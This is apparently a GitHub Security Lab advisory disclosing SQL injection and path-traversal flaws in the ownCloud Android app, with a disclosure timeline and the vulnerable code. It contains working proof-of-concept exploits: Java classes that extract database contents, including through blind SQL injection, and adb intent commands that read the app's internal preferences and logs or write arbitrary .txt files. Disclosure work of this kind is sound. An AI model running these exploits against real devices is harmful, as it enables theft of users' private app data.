Coordinated Disclosure Timeline
- 2022-07-26: Issues notified to ownCloud through HackerOne.
- 2022-08-01: Report receipt acknowledged.
- 2022-09-07: We request a status update for GHSL-2022-059.
- 2022-09-08: ownCloud says that they are still working on the fix for GHSL-2022-059.
- 2022-10-26: We request a status update for GHSL-2022-060.
- 2022-10-27: ownCloud says that they are still working on the fix for GHSL-2022-060.
- 2022-11-28: We request another status update for GHSL-2022-059.
- 2022-11-28: ownCloud says that the fix for GHSL-2022-059 will be published in the next release.
- 2022-12-12: Version 3.0 is published.
- 2022-12-20: We verify that version 3.0 fixed GHSL-2022-060.
- 2022-12-20: We verify that the fix for GHSL-2022-059 was not included in the release. We ask ownCloud about it.
- 2023-01-31: ownCloud informs us that in 3.0 the filelist database was deprecated (empty, only used for migrations from older versions) and planned to be removed in a future version.
- 2023-01-31: We answer that, while that would mitigate one of the reported injections, the other one affects the
owncloud_databasedatabase, which remains relevant. - 2023-02-2: Publishing advisories as per our disclosure policy.
Summary
The Owncloud Android app uses content providers to manage its data. The provider FileContentProvider has SQL injection vulnerabilities that allow malicious applications or users in the same device to obtain internal information of the app.
The app also handles externally-provided files in the activity ReceiveExternalFilesActivity, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application’s internal storage.
Product
Owncloud Android app
Tested Version
Details
Issue 1: SQL injection in FileContentProvider.kt (GHSL-2022-059)
The FileContentProvider provider is exported, as can be seen in the Android Manifest:
<provider
android:name=".providers.FileContentProvider"
android:authorities="@string/authority"
android:enabled="true"
android:exported="true"
android:label="@string/sync_string_files"
android:syncable="true" />
All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several user-controller parameters end up reaching an unsafe SQL method that allows for SQL injection.
The delete method
User input enters the content provider through the three parameters of this method:
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {
The where parameter reaches the following dangerous arguments without sanitization:
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
// --snip--
when (uriMatcher.match(uri)) {
SINGLE_FILE -> {
// --snip--
count = db.delete(
ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID +
"=" +
uri.pathSegments[1] +
if (!TextUtils.isEmpty(where))
" AND ($where)" // injection
else
"", whereArgs
)
}
DIRECTORY -> {
// --snip--
count += db.delete(
ProviderTableMeta.FILE_TABLE_NAME,
ProviderTableMeta._ID + "=" +
uri.pathSegments[1] +
if (!TextUtils.isEmpty(where))
" AND ($where)" // injection
else
"", whereArgs
)
}
ROOT_DIRECTORY ->
count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
SHARES -> count =
OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
// --snip--
}
// --snip--
}
The insert method
User input enters the content provider through the two parameters of this method:
override fun insert(uri: Uri, values: ContentValues?): Uri? {
The values parameter reaches the following dangerous arguments without sanitization:
private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
when (uriMatcher.match(uri)) {
ROOT_DIRECTORY, SINGLE_FILE -> {
// --snip--
return if (!doubleCheck.moveToFirst()) {
// --snip--
val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
// --snip--
}
// --snip--
}
// --snip--
CAPABILITIES -> {
val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
// --snip--
}
UPLOADS -> {
val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
// --snip--
}
CAMERA_UPLOADS_SYNC -> {
val cameraUploadId = db.insert(
ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
values // injection
)
// --snip--
}
QUOTAS -> {
val quotaId = db.insert(
ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
values // injection
)
// --snip--
}
// --snip--
}
}
The query method
User input enters the content provider through the five parameters of this method:
override fun query(
uri: Uri,
projection: Array<String>?,
selection: String?,
selectionArgs: Array<String>?,
sortOrder: String?
): Cursor {
The selection and sortOrder parameters reach the following dangerous arguments without sanitization (note that projection is safe because of the use of a projection map):
SHARES -> {
val supportSqlQuery = SupportSQLiteQueryBuilder
.builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
.columns(computeProjection(projection))
.selection(selection, selectionArgs) // injection
.orderBy(
if (TextUtils.isEmpty(sortOrder)) {
sortOrder // injection
} else {
ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
}
).create()
// To use full SQL queries within Room
val newDb: SupportSQLiteDatabase =
OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
return newDb.query(supportSqlQuery)
}
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)
The update method
User input enters the content provider through the four parameters of this method:
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {
The values and selection parameters reach the following dangerous arguments without sanitization:
private fun update(
db: SQLiteDatabase,
uri: Uri,
values: ContentValues?,
selection: String?,
selectionArgs: Array<String>?
): Int {
if (selection != null && selectionArgs == null) {
throw IllegalArgumentException("Selection not allowed, use parameterized queries")
}
when (uriMatcher.match(uri)) {
DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
SHARES -> return values?.let {
OwncloudDatabase.getDatabase(context!!).shareDao()
.update(OCShareEntity.fromContentValues(it)).toInt()
} ?: 0
CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
UPLOADS -> {
val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
trimSuccessfulUploads(db)
return ret
}
CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
else -> return db.update(
ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
)
}
}
Impact
There are two databases affected by this vulnerability: filelist and owncloud_database.
Since the tables in filelist are affected by the injections in the insert and update methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the Resources section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.
Regarding the tables in owncloud_database, there are two that are not accessible through the content provider: room_master_table and folder_backup. An attacker can exploit the vulnerability in the query method to exfiltrate data from those. Since the strictMode is enabled in the query method, the attacker needs to use a Blind SQL injection attack to succeed (see the Resources section for a PoC).
In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps already, since the FileContentProvider is exported and does not require any permissions.
Resources
SQL injection in filelist
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the filelist database exploiting the issues mentioned above:
package com.example.test;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class OwncloudProviderExploit {
public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
ContentValues updateValues = new ContentValues();
updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
"FROM " + tableName + ") " +
"WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
Log.e("test", "" + ctx.getContentResolver().update(
result, updateValues, null, null));
String query = query(ctx, new String[]{"path"},
"_id=?", new String[]{result.getLastPathSegment()});
deleteFile(ctx, result.getLastPathSegment());
return query;
}
public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
projection,
selection,
selectionArgs,
null)) {
if (mCursor == null) {
Log.e("evil", "mCursor is null");
return "0";
}
StringBuilder output = new StringBuilder();
while (mCursor.moveToNext()) {
for (int i = 0; i < mCursor.getColumnCount(); i++) {
String column = mCursor.getColumnName(i);
String value = mCursor.getString(i);
output.append("|").append(column).append(":").append(value);
}
output.append("\n");
}
return output.toString();
}
}
private static ContentValues newOwncloudFile() throws Exception {
ContentValues values = new ContentValues();
values.put("parent", "a");
values.put("filename", "a");
values.put("created", "a");
values.put("modified", "a");
values.put("modified_at_last_sync_for_data", "a");
values.put("content_length", "a");
values.put("content_type", "a");
values.put("media_path", "a");
values.put("path", "a");
values.put("file_owner", "a");
values.put("last_sync_date", "a");
values.put("last_sync_date_for_data", "a");
values.put("etag", "a");
values.put("share_by_link", "a");
values.put("shared_via_users", "a");
values.put("permissions", "a");
values.put("remote_id", "a");
values.put("update_thumbnail", "a");
values.put("is_downloading", "a");
values.put("etag_in_conflict", "a");
return values;
}
public static String deleteFile(Context ctx, String id) throws Exception {
ctx.getContentResolver().delete(
Uri.parse("content://org.owncloud/file/" + id),
null,
null
);
return "1";
}
}
By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:
- Create a new file entry in
FileContentProvider. - Exploit the SQL Injection in the
updatemethod to set thepathof the recently created file to the values ofcolumnNamein the tabletableName. - Query the
pathof the modified file entry to obtain the desired values. - Delete the file entry.
For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table") would return all the tables in the filelist database.
Blind SQL injection in owncloud_database
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the owncloud_database database exploiting the issues mentioned above using a Blind SQL injection technique:
package com.example.test;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;
public class OwncloudProviderExploit {
public static String blindExploit(Context ctx) {
String output = "";
String chars = "abcdefghijklmopqrstuvwxyz0123456789";
while (true) {
int outputLength = output.length();
for (int i = 0; i < chars.length(); i++) {
char candidate = chars.charAt(i);
String attempt = String.format("%s%c%s", output, candidate, "%");
try (Cursor mCursor = ctx.getContentResolver().query(
Uri.parse("content://org.owncloud/shares"),
null,
"'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
new String[]{"a"}, null)) {
if (mCursor == null) {
Log.e("ProviderHelper", "mCursor is null");
return "0";
}
if (mCursor.getCount() > 0) {
output += candidate;
Log.i("evil", output);
break;
}
}
}
if (output.length() == outputLength)
break;
}
return output;
}
}
Issue 2: Insufficient path validation in ReceiveExternalFilesActivity.java (GHSL-2022-060)
Access to arbitrary files in the app’s internal storage fix bypass
ReceiveExternalFilesActivity handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the "android.intent.extra.STREAM extra to force the application to upload its internal files, like com.owncloud.android_preferences.xml. To fix it, the following code was added:
ReceiveExternalFilesActivity.java:521
private void prepareStreamsToUpload() {
// --snip--
for (Uri stream : mStreamsToUpload) {
String streamToUpload = stream.toString();
if (streamToUpload.contains("/data") &&
streamToUpload.contains(getPackageName()) &&
!streamToUpload.contains(getCacheDir().getPath())
) {
finish();
}
}
}
This protection can be bypassed in two ways:
- Using the path returned by
getCacheDir()in the payload, e.g."file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml". - Using a content provider URI that uses the
org.owncloud.filesprovider to access the app’s internalfilefolder, e.g."content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log".
With those payloads, the original issue can be still exploited with the same impact.
Write of arbitrary .txt files in the app’s internal storage
Additionally, there’s another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app’s internal storage.
When uploading a plain text file, the following code is executed, using the user-provided text at input to save the file:
ReceiveExternalFilesActivity:920
private void showUploadTextDialog() {
// --snip--
final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
// --snip--
setFileNameFromIntent(alertDialog, input);
alertDialog.setOnShowListener(dialog -> {
Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
button.setOnClickListener(view -> {
// --snip--
} else {
fileName += ".txt";
Uri fileUri = savePlainTextToFile(fileName);
mStreamsToUpload.clear();
mStreamsToUpload.add(fileUri);
uploadFiles();
}
inputLayout.setErrorEnabled(error != null);
inputLayout.setError(error);
});
});
alertDialog.show();
}
By reviewing savePlainTextToFile, it can be seen that the plain text file is momentarily saved in the app’s cache, but the destination path is built using the user-provided fileName:
ReceiveExternalFilesActivity:983
private Uri savePlainTextToFile(String fileName) {
Uri uri = null;
String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
try {
File tmpFile = new File(getCacheDir(), fileName); // here
FileOutputStream outputStream = new FileOutputStream(tmpFile);
outputStream.write(content.getBytes());
outputStream.close();
uri = Uri.fromFile(tmpFile);
} catch (IOException e) {
Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
}
return uri;
}
An attacker can exploit this using a path traversal attack to write arbitrary text files into the app’s internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the .txt extension, limiting the impact.
Impact
These issues may lead to information disclosure when uploading the app’s internal files, and to arbitrary file write when uploading plain text files (although limited by the .txt extension).
Resources
The following PoC demonstrates how to upload arbitrary files from the app’s internal storage:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"
The following PoC demonstrates how to upload arbitrary files from the app’s internal files directory:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
The following PoC demonstrates how to write an arbitrary test.txt text file to the app’s internal storage:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"
Credit
These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-059 or GHSL-2022-060 in any communication regarding these issues.